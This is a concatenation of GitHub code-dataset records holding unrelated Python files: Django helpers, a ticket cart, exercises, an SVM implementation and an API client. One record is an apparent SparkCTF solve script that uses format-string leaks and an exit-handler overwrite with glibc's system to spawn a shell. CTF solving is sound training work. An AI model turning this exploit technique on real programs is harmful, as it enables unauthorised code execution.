10)\n try:\n current_page = int(request.GET.get('page', '1'))\n except ValueError:\n current_page = 1\n\n page_range = page_list_return(len(paginator.page_range), current_page)\n\n try:\n page_objects = paginator.page(current_page)\n except (EmptyPage, InvalidPage):\n page_objects = paginator.page(paginator.num_pages)\n\n if current_page >= 5:\n show_first = 1\n else:\n show_first = 0\n\n if current_page <= (len(paginator.page_range) - 3):\n show_end = 1\n else:\n show_end = 0\n\n # 所有对象, 分页器, 本页对象, 所有页码, 本页页码,是否显示第一页,是否显示最后一页\n return post_objects, paginator, page_objects, page_range, current_page, show_first, show_end\n\n\ndef convert_bytes(n):\n \"\"\"\n @byte智能转换 返回转换后的单位\n \"\"\"\n symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')\n prefix = {}\n for i, s in enumerate(symbols):\n prefix[s] = 1 << (i + 1) * 10\n for s in reversed(symbols):\n if n >= prefix[s]:\n value = float(n) / prefix[s]\n return '%.1f%s' % (value, s)\n return \"%sB\" % n\n\ndef convert_to_byte(n):\n \"\"\"\n @单位智能转换 返回转换后的byte\n \"\"\"\n symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')\n prefix = {}\n for i, s in enumerate(symbols):\n prefix[s] = 1 << (i + 1) * 10\n for s in reversed(symbols):\n if s == n[-1]:\n value = float(n[:-1])*prefix[s]\n return value\n \ndef defend_attack(func):\n def _deco(request, *args, **kwargs):\n if int(request.session.get('visit', 1)) > 10:\n logger.debug('请求次数: %s' % request.session.get('visit', 1))\n return HttpResponse('Forbidden', status=403)\n request.session['visit'] = request.session.get('visit', 1) + 1\n request.session.set_expiry(300)\n return func(request, *args, **kwargs)\n return _deco\n \n \ndef require_role(role='user'):\n \"\"\"\n decorator for require user role in [\"super\", \"admin\", \"user\"]\n 要求用户是某种角色 [\"super\", \"admin\", \"user\"]的装饰器\n \"\"\"\n\n def _deco(func):\n def __deco(request, *args, **kwargs):\n request.session['pre_url'] = request.path\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse('login'))\n return func(request, *args, **kwargs)\n return __deco\n\n return _deco","repo_name":"ydq870102/osrm","sub_path":"osrm/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"41147977711","text":"#Revise a previous program as follows: Read and parse the \"From\" lines and pull\n# out the addreses from the line. Count the number of messages from each person using a dictionary. \n#After all the data has been read, print the person with the most commits by creating a list of (count, email) tuples from the dictionary/\n#Then sort the list in reverse order and print out the person who has the most commits. \n\nfname = input(\"Enter file name: \")\ncounts = dict()\n\ntry:\n fhand = open(fname)\n#Excep statement to counteract any improper file names or inputs\nexcept:\n print('Invalid file name')\n quit()\n#Searches through the file for all lines that start with 'From',\n# skips all other lines\n\nfor line in fhand:\n if not line.startswith('From '):\n continue\n# If the line starts with from, line is split into a list of words\n# Emails are always at position 1 when the line starts with 'From'\n if line.startswith('From '):\n words = line.split()\n email = words[1]\n counts[email] = counts.get(email,0) +1\n\nlst = list()\n\nfor key, val in list(counts.items()):\n lst.append((val, key))\nlst.sort(reverse = True)\n\nfor val, key in lst[:1]:\n print(key, val)","repo_name":"RanaA15/python4e","sub_path":"a_10.1.py","file_name":"a_10.1.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"14491446949","text":"from .models import CartItem, Product\nfrom django.shortcuts import get_object_or_404, get_list_or_404\nfrom event import views\nfrom event import models\nfrom django.contrib.auth.models import User\nimport qrcode\n\ndef _cart_id(request):\n if 'cart_id' not in request.session:\n request.session['cart_id'] = _generate_cart_id()\n\n return request.session['cart_id']\n\n\ndef _generate_cart_id():\n import string, random\n return ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(50)])\n\n\ndef get_all_cart_items(request):\n return CartItem.objects.filter(cart_id = _cart_id(request))\n\n\ndef add_item_to_cart(request):\n # cart_id = _cart_id(request)\n product_id = request.form_data['product_id']\n quantity = request.form_data['quantity']\n\n p = get_object_or_404(Product, id=product_id)\n\n type_chosen = request.form_data['price']\n ticket_type = 'E'\n price = 0\n fail = False\n if type_chosen == \"0\":\n ticket_type = 'I'\n try:\n price = views.EventListView.get_queryset(request).get(id=product_id).prices.get(ticket_type=\"I\").price\n except models.Price.DoesNotExist:\n fail = True\n if type_chosen == \"1\":\n ticket_type = 'E'\n try:\n price = views.EventListView.get_queryset(request).get(id=product_id).prices.get(ticket_type=\"E\").price\n except models.Price.DoesNotExist:\n fail = True\n if type_chosen == \"2\":\n ticket_type = 'S'\n try:\n price = views.EventListView.get_queryset(request).get(id=product_id).prices.get(ticket_type=\"S\").price\n except models.Price.DoesNotExist:\n fail = True\n\n if fail:\n return\n\n cart_items = get_all_cart_items(request)\n\n item_in_cart = False\n\n event = views.EventListView.get_queryset(request).get(id=product_id)\n tickets = models.Ticket.objects.filter(event_id=event.id, ticket_type=ticket_type)\n nb_tickets = 0\n for ticket in tickets: \n try: \n ticket.purchase \n except models.Purchase.DoesNotExist: \n if ticket.ticket_type == models.Ticket.EXTERN: \n nb_tickets += 1\n if ticket.ticket_type == models.Ticket.INTERN: \n nb_tickets += 1\n if ticket.ticket_type == models.Ticket.STAFF: \n nb_tickets += 1\n \n if nb_tickets < quantity:\n quantity = nb_tickets\n \n if quantity == 0:\n return\n \n for cart_item in cart_items:\n if cart_item.product_id == product_id and cart_item.price == price and cart_item.ticket_type == ticket_type:\n if cart_item.quantity + quantity <= 5:\n cart_item.update_quantity(quantity)\n else:\n cart_item.update_quantity(5 - cart_item.quantity)\n # cart_item.save()\n item_in_cart = True\n\n if not item_in_cart:\n item = CartItem(\n cart_id = _cart_id(request),\n price = price,\n quantity = quantity,\n product_id = product_id,\n ticket_type = ticket_type,\n )\n\n # item.cart_id = cart_id\n item.save()\n\n\n \n user = User.objects.get(id=request.user.id)\n \n while quantity != 0:\n good_ticket = None\n for ticket in tickets:\n purchases = models.Purchase.objects.filter(ticket_id=ticket.id)\n if len(purchases) == 0:\n good_ticket = ticket\n if good_ticket == None:\n return\n purchase_ticket = models.Purchase(event_id=event, user=user, ticket_id=good_ticket)\n purchase_ticket.save()\n quantity -= 1\n\ndef item_count(request):\n return get_all_cart_items(request).count()\n\n\ndef subtotal(request):\n cart_item = get_all_cart_items(request)\n sub_total = 0\n for item in cart_item:\n sub_total += item.total_cost()\n\n return sub_total\n\n\ndef remove_item(request):\n item_id = request.POST.get('item_id')\n ci = get_object_or_404(CartItem, id=item_id)\n tickets = models.Ticket.objects.filter(event_id=ci.product.id,ticket_type=ci.ticket_type)\n nb = ci.quantity\n for ticket in tickets:\n if nb > 0:\n try:\n purchase = models.Purchase.objects.get(ticket_id=ticket.id)\n purchase.delete()\n nb -= 1\n except models.Purchase.DoesNotExist:\n continue\n ci.delete()\n\ndef update_item(request):\n item_id = request.POST.get('item_id')\n quantity = request.POST.get('quantity')\n ci = get_object_or_404(CartItem, id=item_id)\n if quantity.isdigit():\n quantity = int(quantity)\n ci.quantity = quantity\n ci.save()\n\n\ndef clear(request):\n cart_items = get_all_cart_items(request)\n cart_items.delete()\n\ndef qrcode(request): \n qrc = qrcode.QRCode(box_size=8,border=0) \n qrc.add_data(request.user) \n qrc.make() \n qrc.save('qrcode/{}.png'.format(request.user), 'PNG') \n return render(request,'index.html')\n","repo_name":"Jonathan2021/django_event_website","sub_path":"billeterie_assos/shop/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"38780976772","text":"from fractions import Fraction\n\n\ndef import_trap_balance():\n \"\"\"Import the trap balanced\n\n\n Returns:\n dict[list,] {1: [[a, b], [c, d]], 2: [[e, f, g][h, i]] }\n \"\"\"\n trap_list = {}\n with open(\"static\\\\13_trap_balance.txt\", 'r') as f:\n for line in f:\n line_idx_line = line.strip().split(': ')\n idx = line_idx_line[0]\n line_lr = line_idx_line[1].split(' - ')\n left = [int(val) for val in line_lr[0].split()]\n right = [int(val) for val in line_lr[1].split()]\n trap_list[int(idx)] = [left, right]\n\n return trap_list\n\n\ndef is_items_equal(trap: list) -> bool:\n \"\"\" Equality: Both sides of the scale must contain the same number of objects.\"\"\"\n return len(trap[0]) == len(trap[1])\n\n\ndef is_weight_equal(trap):\n trap_left = trap[0]\n trap_right = trap[1]\n left_weight = sum(Fraction(1, flask) for flask in trap_left)\n right_weight = sum(Fraction(1, flask) for flask in trap_right)\n print(left_weight, right_weight)\n return left_weight == right_weight\n\n\ndef is_weight_diverse(trap: list) -> bool:\n \"Diversity: All objects on the scale must have different weights. No two objects may have the same weight.\"\n trap_weight = trap[0] + trap[1]\n len_traps = len(trap_weight)\n len_set_traps = len(set(trap_weight))\n print(len_traps, len_set_traps)\n return len_traps == len_set_traps\n\n\ntraplist = import_trap_balance()\n\ntest_dict = {1: [[4, 4], [3, 6]],\n 2: [[2, 4, 20], [2, 5, 10]],\n 3: [[2, 99999999999999999999999999999999999], [3, 6]],\n 4: [[4, 20], [5, 10]]}\n\nidx = 0\n# traplist = test_dict\nfor key in traplist:\n if is_items_equal(traplist[key]):\n if is_weight_equal(traplist[key]):\n if is_weight_diverse(traplist[key]):\n print(traplist[key])\n idx += key\n\nprint(f'The total value is: {idx}')\n","repo_name":"lrlip/Festo-Code-Challenge-2023","sub_path":"chapter_1/puzzel_three.py","file_name":"puzzel_three.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"26828784914","text":"#!/usr/bin/env python3\n\nfrom pwn import *\n\ncontext.binary = elf = ELF('f-xit')\nglibc = ELF('glibc/libc.so.6', checksec=False)\n\n\ndef get_process():\n if len(sys.argv) == 1:\n return elf.process()\n\n host, port = sys.argv[1], sys.argv[2]\n return remote(host, int(port))\n\n\ndef main():\n p = get_process()\n\n p.sendline(b'%43$lx.%61$lx')\n leaks = p.recv().decode().split('.')\n main_addr = int(leaks[0], 16)\n __libc_start_main_addr = int(leaks[1], 16) - 128\n\n log.info(f'Leaked main() address: {hex(main_addr)}')\n log.info(f'Leaked __libc_start_main() address: {hex(__libc_start_main_addr)}')\n\n elf.address = main_addr - elf.sym.main\n glibc.address = __libc_start_main_addr - glibc.sym.__libc_start_main\n\n log.success(f'ELF base address: {hex(elf.address)}')\n log.success(f'Glibc base address: {hex(glibc.address)}')\n\n rol = lambda val, r_bits, max_bits: \\\n (val << r_bits % max_bits) & (2 ** max_bits - 1) | \\\n ((val & (2 ** max_bits - 1)) >> (max_bits - (r_bits % max_bits)))\n\n ror = lambda val, r_bits, max_bits: \\\n ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \\\n (val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))\n\n encrypt = lambda value, key: rol(value ^ key, 0x11, 64)\n\n __exit_funcs = glibc.address + 0x219838\n exit_handler_addr = glibc.address + 0x21af00\n _dl_fini = glibc.address + 0x236040 - 0x6000\n\n log.info(f'__exit_funcs address: {hex(__exit_funcs)}')\n log.info(f'Original exit handler address: {hex(exit_handler_addr)}')\n log.info(f'_dl_fini address: {hex(_dl_fini)}')\n\n p.sendline(b'%7$s....' + p64(exit_handler_addr + 0x18))\n\n encrypted_function = u64(p.recv().strip().split(b'....')[0])\n\n key = ror(encrypted_function, 0x11, 64) ^ _dl_fini\n\n log.info(f'Encrypted function: {hex(encrypted_function)}')\n log.info(f'Encryption key: {hex(key)}')\n log.info(f'Sanity check: {hex(encrypt(_dl_fini, key))}')\n\n payload = fmtstr_payload(6, {\n exit_handler_addr + 0x18: encrypt(glibc.sym.system, key),\n })\n p.sendline(payload)\n p.recv()\n\n payload = fmtstr_payload(6, {\n exit_handler_addr + 0x20: next(glibc.search(b'/bin/sh')),\n })\n p.sendline(payload)\n p.recv()\n\n p.sendline(b'quit')\n p.recv()\n\n p.interactive()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"j3seer/SparkCTF-2022","sub_path":"SparkCTF - writeups/pwn/f-xit/solution/solve2.py","file_name":"solve2.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"33087379287","text":"# -*- coding: utf-8 -*-\nfrom __future__ import (absolute_import, division, print_function)\nimport numpy as np\nimport pandas as pd\nimport scipy.spatial.distance as dist\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\nimport random as rd\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\n\n\nclass SvmModel(object):\n def __init__(self, C, kernel, kernel_params, max_iter, tol, eps):\n self.C = C\n self.kernel = kernel\n self.kernel_params = kernel_params\n self.max_iter = max_iter\n self.tol = tol\n self.eps = eps\n \n \n def linear_kernel(self, x1, x2):\n '''线性核函数'''\n res = x1.dot(x2.T)\n return res\n \n \n def poly_kernel(self, x1, x2):\n '''多项式核函数'''\n zeta = self.kernel_params.get(\"zeta\", 1.0)\n gamma = self.kernel_params.get(\"gamma\", 1.0)\n degree = self.kernel_params.get(\"degree\", 3.0)\n res = (zeta + gamma*x1.dot(x2.T))**degree\n return res\n \n \n def rbf_kernel(self, x1, x2):\n '''高斯核函数'''\n gamma = self.kernel_params.get(\"gamma\", 1.0)\n x1 = np.atleast_2d(x1)\n x2 = np.atleast_2d(x2)\n res = np.exp(-gamma * dist.cdist(x1, x2)**2)\n return res\n \n \n def random_idx(self, i, N):\n '''a2索引的选择:随机搜索'''\n j = i\n while j == i:\n j = np.random.randint(0, N)\n return j\n \n \n def choose_alpha(self, y_train, N, a, b, K):\n '''搜索合适的a1和a2'''\n # 外循环:搜索违反KKT条件的样本点,优先选择支持向量点\n unbounded = [i for i in range(N) if a[i] == 0]\n bounded = [i for i in range(N) if i not in unbounded]\n # 合并外循环索引,令支持向量排在前\n idx_list = []\n idx_list.extend(bounded)\n idx_list.extend(unbounded)\n \n for i in idx_list:\n gi = (a * y_train).dot(K[:, i]) + b\n# Ei = gi - y_train[i]\n # 内循环:针对违反KKT条件的a1,找到对应的a2\n if (a[i] < self.C and y_train[i]*gi < 1 - self.tol) or \\\n (a[i] > 0 and y_train[i]*gi > 1 + self.tol):\n# j = np.argmax(np.abs(Ei - E))\n j = self.random_idx(i, N)\n else:\n # 满足KKT条件的点则跳过\n continue\n return i, j\n\n\n def find_bounds(self, y_train, i, j, ai_old, aj_old):\n '''确定上下确界'''\n if y_train[i] == y_train[j]:\n L = max(0.0, ai_old + aj_old - self.C)\n H = min(self.C, ai_old + aj_old)\n else:\n L = max(0.0, aj_old - ai_old)\n H = min(self.C, self.C + aj_old - ai_old)\n return L, H\n \n \n def clip_a(self, a_unc, L, H):\n '''a边界截断'''\n if a_unc > H:\n a_new = H\n elif a_unc < L:\n a_new = L\n else:\n a_new = a_unc\n return a_new\n \n \n def clip_b(self, bi_new, bj_new, ai_new, aj_new):\n '''b边界截断'''\n if 0 < ai_new < self.C:\n b = bi_new\n elif 0 < aj_new < self.C:\n b = bj_new\n else:\n b = (bi_new + bj_new) / 2.0\n return b\n\n\n def fit(self, x_train, y_train):\n '''模型训练'''\n # 核函数映射\n if self.kernel == \"linear\":\n K = self.linear_kernel(x_train, x_train)\n elif self.kernel == \"poly\":\n K = self.poly_kernel(x_train, x_train)\n elif self.kernel == \"rbf\":\n K = self.rbf_kernel(x_train, x_train)\n else:\n raise ValueError(\"kernel must be 'linear', 'poly' or 'rbf'\")\n # 参数初始化\n N = len(x_train)\n a = np.zeros([N])\n b = 0\n g = (a * y_train).dot(K) + b\n E = g - y_train\n # 参数结果保存列表\n a_res = []\n b_res = []\n E_res = []\n # 迭代\n for step in range(self.max_iter):\n # 搜索合适的 a1 和 a2\n i, j = self.choose_alpha(y_train, N, a, b, K)\n # 计算对应的 E1\n gi = (a * y_train).dot(K[:, i]) + b\n Ei = gi - y_train[i]\n # 计算对应的 E2\n gj = (a * y_train).dot(K[:, j]) + b\n Ej = gj - y_train[j]\n # 计算 eta\n eta = K[i, i] + K[j, j] - 2.0 * K[i, j]\n # 保存 a1 和 a2 的旧值\n ai_old, aj_old = a[i], a[j]\n # 计算 a2 的未剪辑值\n aj_unc = aj_old + y_train[j] * (Ei - Ej) / (eta + self.eps)\n # 计算 a2 的下确界和上确界\n L, H = self.find_bounds(y_train, i, j, ai_old, aj_old)\n # 计算 a2 的新值\n aj_new = self.clip_a(aj_unc, L, H)\n # 计算 a1 的新值\n ai_new = ai_old + y_train[i] * y_train[j] * (aj_old - aj_new)\n a[i], a[j] = ai_new, aj_new\n # 计算 b\n bi_new = b - Ei - y_train[i] * K[i,i] * (ai_new-ai_old) - \\\n y_train[j] * K[i,j] * (aj_new-aj_old)\n bj_new = b - Ej - y_train[i] * K[i,j] * (ai_new-ai_old) - \\\n y_train[j] * K[j,j] * (aj_new-aj_old)\n b = self.clip_b(bi_new, bj_new, ai_new, aj_new)\n # 更新 E 列表\n g = (a * y_train).dot(K) + b\n E = g - y_train\n # 保存参数\n E_res.append(np.sum(np.abs(E)))\n a_res.append(a)\n b_res.append(b)\n return E_res, a_res, b_res\n \n \n def predict(self, a, b, x_train, x_predict):\n '''模型预测'''\n # 适配核函数\n if self.kernel == \"linear\":\n K = self.linear_kernel(x_train, x_predict)\n elif self.kernel == \"poly\":\n K = self.poly_kernel(x_train, x_predict)\n elif self.kernel == \"rbf\":\n K = self.rbf_kernel(x_train, x_predict)\n else:\n raise ValueError(\"kernel must be 'linear', 'poly' or 'rbf'\")\n # 预测\n y_pred = np.sign((a * y_train).dot(K) + b)\n return y_pred\n \n \n def get_score(self, y_true, y_pred):\n '''模型评估'''\n score = sum(y_true == y_pred) / len(y_true)\n return score\n\n\n\nif __name__ == \"__main__\":\n # 构造二分类数据集\n N = 50\n x1 = np.random.uniform(low=1, high=5, size=[N,2]) + np.random.randn(N, 2)*0.01\n y1 = np.tile(-1.0, N)\n \n x2 = np.random.uniform(low=6, high=10, size=[N,2]) + np.random.randn(N, 2)*0.01\n y2 = np.tile(1.0, N)\n \n x = np.concatenate([x1,x2], axis=0)\n y = np.concatenate([y1,y2])\n \n x, y = shuffle(x, y, random_state=0)\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n \n # linear\n model = SvmModel(C=1.0, kernel=\"linear\", kernel_params=None, max_iter=1000, tol=10**-4, eps=10**-6)\n E_res, a_res, b_res = model.fit(x_train, y_train)\n \n # poly\n# model = SvmModel(C=1.0, kernel=\"poly\", kernel_params={\"zeta\":1.0, \"gamma\":0.01, \"degree\":3.0}, \n# max_iter=1000, tol=10**-4, eps=10**-6)\n# E_res, a_res, b_res = model.fit(x_train, y_train)\n \n # rbf\n# model = SvmModel(C=1.0, kernel=\"rbf\", kernel_params={\"gamma\":10}, \n# max_iter=1000, tol=10**-4, eps=10**-6)\n# E_res, a_res, b_res = model.fit(x_train, y_train)\n \n # 对偶问题最优解\n a_best = a_res[np.argmin(E_res)]\n print(f\"对偶问题最优解为:{a_best[a_best != 0]}\")\n # 原问题最优解\n b_best = b_res[np.argmin(E_res)]\n w_best = (a_best * y_train).dot(x_train)\n print(f\"原问题最优解为:{w_best, b_best}\")\n # 支持向量\n x_support = x_train[a_best != 0]\n \n \n # predict on testSet\n y_pred = model.predict(a_best, b_best, x_train, x_test)\n score = model.get_score(y_test, y_pred)\n print(f\"SvmModel 预测准确率:{score}\")\n \n # 运行sklearn算法\n clf = SVC(C=1.0, kernel=\"linear\", max_iter=1000)\n clf.fit(x_train, y_train)\n \n # 对偶问题最优解\n alpha = clf.dual_coef_\n print(f\"sklearn对偶问题最优解为:{alpha}\")\n # 原问题最优解\n w = clf.coef_[0]\n b = clf.intercept_\n print(f\"sklearn原问题最优解为:{w, b}\")\n # 支持向量\n x_support = x_train[clf.support_]\n \n y_pred = clf.predict(x_test)\n score = sum(y_test == y_pred) / len(y_test)\n print(f\"sklearn 预测准确率:{score}\")\n \n \n # plot\n# fig, ax = plt.subplots(figsize=(8, 8))\n# x_axis = np.linspace(1, 10, 10)\n# y_axis = -(w_best[0] * x_axis + b_best) / w_best[1]\n# ax.plot(x_axis, y_axis, color=\"red\")\n# y_axis_l = -(w_best[0] * x_axis + b_best - 1) / w_best[1]\n# ax.plot(x_axis, y_axis_l, color=\"red\", linestyle=\"dashed\")\n# y_axis_h = -(w_best[0] * x_axis + b_best + 1) / w_best[1]\n# ax.plot(x_axis, y_axis_h, color=\"red\", linestyle=\"dashed\")\n# ax.scatter(x=x_train[:, 0], y=x_train[:, 1], c=y_train, label=y_train)\n# ax.scatter(x=x_support[:, 0], y=x_support[:, 1], c=\"red\")\n# plt.xlabel(\"x1\")\n# plt.ylabel(\"x2\")\n# plt.title(\"SvmModel\")\n# plt.show()\n","repo_name":"Lukaschen1986/mla_test","sub_path":"statistical_learning/svm_2.py","file_name":"svm_2.py","file_ext":"py","file_size_in_byte":9162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"39430635979","text":"\"\"\"\n 测试隔离森林和ECOD的组合算法在其他数据集上和ECOD算法和隔离森林算法的ROC、AP的区别\n\n\"\"\"\nimport random\n\nimport numpy as np\nfrom scipy.io import arff\nimport scipy.io\n\n\nrng = np.random.RandomState(42)\n\ndef get_data():\n\n datas = scipy.io.loadmat(r'D:\\开题论文\\数据\\other\\vowels.mat')\n input = datas['X']\n out_put = datas['y']\n all_data = np.hstack((input,out_put))\n np.random.shuffle(all_data)\n input = all_data[:, :12]\n output = all_data[:, 12]\n\n input = np.array(input)\n output = np.array(output).reshape(-1, 1)\n return input,output","repo_name":"lengyuexuexuan/ifWithinterpretability","sub_path":"data/vowels.py","file_name":"vowels.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"41345762604","text":"import numpy as np\nimport random\nimport time\n\nN = 52\nK = 2049\nmatrix = np.zeros([K, N])\ntotal = np.zeros(N)\n\nfor k in range(0, K):\n for n in range(0, N):\n matrix[k][n] = k ** n + 3.1416 + random.random()\n\n\ndef half_wave_rectifier(x):\n return (x + abs(x)) / 2\n\n\nstart_time = time.time()\npartial_sum = 0\nfor n in range(1, len(matrix[0])):\n for k in range(0, len(matrix), 5):\n partial_sum += half_wave_rectifier(abs(matrix[k][n]) - abs(matrix[k][n - 1]))\n #partial_sum += half_wave_rectifier(matrix[k][n] - matrix[k][n - 1])\n #half_wave_rectifier(abs(matrix[k][n]) - abs(matrix[k][n - 1]))\n total[n - 1] = partial_sum\n partial_sum = 0\nprint(\"--- Python: %s seconds ---\" % round(time.time() - start_time, 3))\n\nprint(total)\n\ndef half_wave(array, n):\n #return (abs(array[n]) - abs(array[n - 1]) + abs(abs(array[n]) - abs(array[n - 1]))) / 2\n return (array[n] - array[n - 1] + abs(array[n] - array[n - 1])) / 2\n\n#Test\n#c = np.array([[1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,16],[17,18,19,20]])\n\noutput = np.zeros(N)\nstart_time = time.time()\n#count = 0\nfor n in range(1, N):\n output[n - 1] = np.sum(np.apply_along_axis(half_wave, 1, matrix, n))\n #np.apply_along_axis(half_wave, 1, matrix, n)\n\nprint(\"--- Numpy: %s seconds ---\" % round(time.time() - start_time, 3))\nprint(output)\n","repo_name":"andreiion/Diploma","sub_path":"guitar-signal-process/for-to-numpy.py","file_name":"for-to-numpy.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"19969292937","text":"import logging\nimport operator\nfrom functools import reduce # forward compatibility for Python 3\nfrom typing import Dict\n\nfrom jinja2 import Template\n\nlog = logging.getLogger(__name__)\n\n\ndef dict_get(root, items, default=None):\n \"\"\"\n Access a nested object in root by item sequence.\n\n Usage::\n data = {\"nested\": {\"a_list\": [{\"finally\": \"target_data\"}]}}\n value = dict_get([\"nested\", \"a_list\", 0, \"finally\"], \"Not_found\")\n\n \"\"\"\n try:\n value = reduce(operator.getitem, items, root)\n except (KeyError, IndexError, TypeError) as e:\n log.debug(e)\n return default\n return value\n\n\ndef dict_undefined_set(dict_obj, key, value):\n if key not in dict_obj:\n dict_obj[key] = value\n\n\ndef jinja_parse(context: Dict, jinja_string: str) -> str:\n \"\"\"\n Function to parse mapping options set to a string containing jinja template format.\n\n :param context: Data to be used as context in rendering jinja template\n :type: dict\n :param jinja_string: A jinja template string\n :type: str\n :return: A rendered jinja template as string\n :rtype: str\n\n \"\"\"\n try:\n content_template = Template(jinja_string, autoescape=True)\n except Exception as e:\n raise ReferenceError(f'There was an error in the jinja statement: \"{jinja_string}\". ' f\"Error Msg: {e}\")\n\n content = content_template.render(**context)\n return content\n","repo_name":"open-needs/sphinx-open-needs","sub_path":"sphinx_open_needs/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"1840640495","text":"stock_prices = [(\"APPL\", 200), (\"GOOG\", 400), (\"MSFT\",100)]\n\nfor a,b in stock_prices:\n print(a,b)\n\n\n#############################################################\n\nwork_hours=[(\"Abby\",100), (\"Billy\", 400), (\"Cassie\", 800)]\n\n# return the employee of the month\n\ndef check_employee(mylist):\n\n current_max = 0\n best_employee = \"\"\n\n for employee,hours in work_hours:\n if hours > current_max:\n current_max = hours\n best_employee = employee\n\n print(f\"The best employee is {best_employee} with {current_max} work hours\")\n\ncheck_employee(work_hours)\n","repo_name":"Milliamper/2022-Complete-Python-Bootcamp-From-Zero-to-Hero-in-Python","sub_path":"Section 6 - Methods and Functions/tuple_unpacking.py","file_name":"tuple_unpacking.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"6830555524","text":"\"\"\"Represents `/api/animes` and `/api/animes/:anime_id/videos` resources.\"\"\"\nfrom typing import Any, Dict, List, Optional, Union, cast\n\nfrom ..decorators import exceptions_handler, method_endpoint\nfrom ..enums import (AnimeCensorship, AnimeDuration, AnimeKind, AnimeList,\n AnimeOrder, AnimeRating, AnimeStatus, AnimeTopicKind,\n RequestType, ResponseCode, VideoKind)\nfrom ..exceptions import ShikimoriAPIResponseError\nfrom ..models import (AnimeInfo, Anime, FranchiseTree, Link, Relation, Role,\n Screenshot, Topic, Video)\nfrom ..utils import Utils\nfrom .base_resource import BaseResource\n\nDICT_NAME = 'video'\n\n\nclass Animes(BaseResource):\n \"\"\"Anime resource class.\n\n Used to represent `/api/animes` and\n `/api/animes/:anime_id/videos` resources\n \"\"\"\n\n @method_endpoint('/api/animes')\n @exceptions_handler(ShikimoriAPIResponseError, fallback=[])\n async def get_all(self,\n page: Optional[int] = None,\n limit: Optional[int] = None,\n order: Optional[AnimeOrder] = None,\n kind: Optional[Union[AnimeKind, List[AnimeKind]]] = None,\n status: Optional[Union[AnimeStatus,\n List[AnimeStatus]]] = None,\n season: Optional[Union[str, List[str]]] = None,\n score: Optional[int] = None,\n duration: Optional[Union[AnimeDuration,\n List[AnimeDuration]]] = None,\n rating: Optional[Union[AnimeRating,\n List[AnimeRating]]] = None,\n genre: Optional[Union[int, List[int]]] = None,\n studio: Optional[Union[int, List[int]]] = None,\n franchise: Optional[Union[int, List[int]]] = None,\n censored: Optional[AnimeCensorship] = None,\n mylist: Optional[Union[AnimeList,\n List[AnimeList]]] = None,\n ids: Optional[Union[int, List[int]]] = None,\n exclude_ids: Optional[Union[int, List[int]]] = None,\n search: Optional[str] = None):\n \"\"\"Returns list of anime.\n\n :param page: Number of page\n :type page: Optional[int]\n\n :param limit: Number of results limit\n :type limit: Optional[int]\n\n :param order: Type of order in list\n :type order: Optional[AnimeOrder]\n\n :param kind: Type(s) of anime topics\n :type kind: Optional[Union[AnimeKind, List[AnimeKind]]]\n\n :param status: Type(s) of anime status\n :type status: Optional[Union[AnimeStatus, List[AnimeStatus]]]\n\n :param season: Name(s) of anime seasons\n :type season: Optional[Union[str, List[str]]]\n\n :param score: Minimal anime score to filter\n :type score: Optional[int]\n\n :param duration: Duration size(s) of anime\n :type duration: Optional[Union[AnimeDuration, List[AnimeDuration]]]\n\n :param rating: Type of anime rating(s)\n :type rating: Optional[Union[AnimeRating, List[AnimeRating]]]\n\n :param genre: Genre(s) ID\n :type genre: Optional[Union[int, List[int]]]\n\n :param studio: Studio(s) ID\n :type studio: Optional[Union[int, List[int]]]\n\n :param franchise: Franchise(s) ID\n :type franchise: Optional[Union[int, List[int]]]\n\n :param censored: Type of anime censorship\n :type censored: Optional[AnimeCensorship]\n\n :param mylist: Status(-es) of anime in current user list.\n If app is in restricted mode,\n this parameter won't affect on response.\n :type mylist: Optional[Union[AnimeList, List[AnimeList]]]\n\n :param ids: Anime(s) ID to include\n :type ids: Optional[Union[int, List[int]]]\n\n :param exclude_ids: Anime(s) ID to exclude\n :type exclude_ids: Optional[Union[int, List[int]]]\n\n :param search: Search phrase to filter animes by name\n :type search: Optional[str]\n\n :return: List of anime\n :rtype: List[AnimeInfo]\n \"\"\"\n query_dict = Utils.create_query_dict(page=page,\n limit=limit,\n order=order,\n kind=kind,\n status=status,\n season=season,\n score=score,\n duration=duration,\n rating=rating,\n genre=genre,\n studio=studio,\n franchise=franchise,\n censored=censored,\n mylist=mylist,\n ids=ids,\n exclude_ids=exclude_ids,\n search=search)\n\n response = await self._client.request(self._client.endpoints.animes,\n query=query_dict)\n\n return Utils.validate_response_data(cast(List[Dict[str, Any]],\n response),\n data_model=AnimeInfo)\n\n 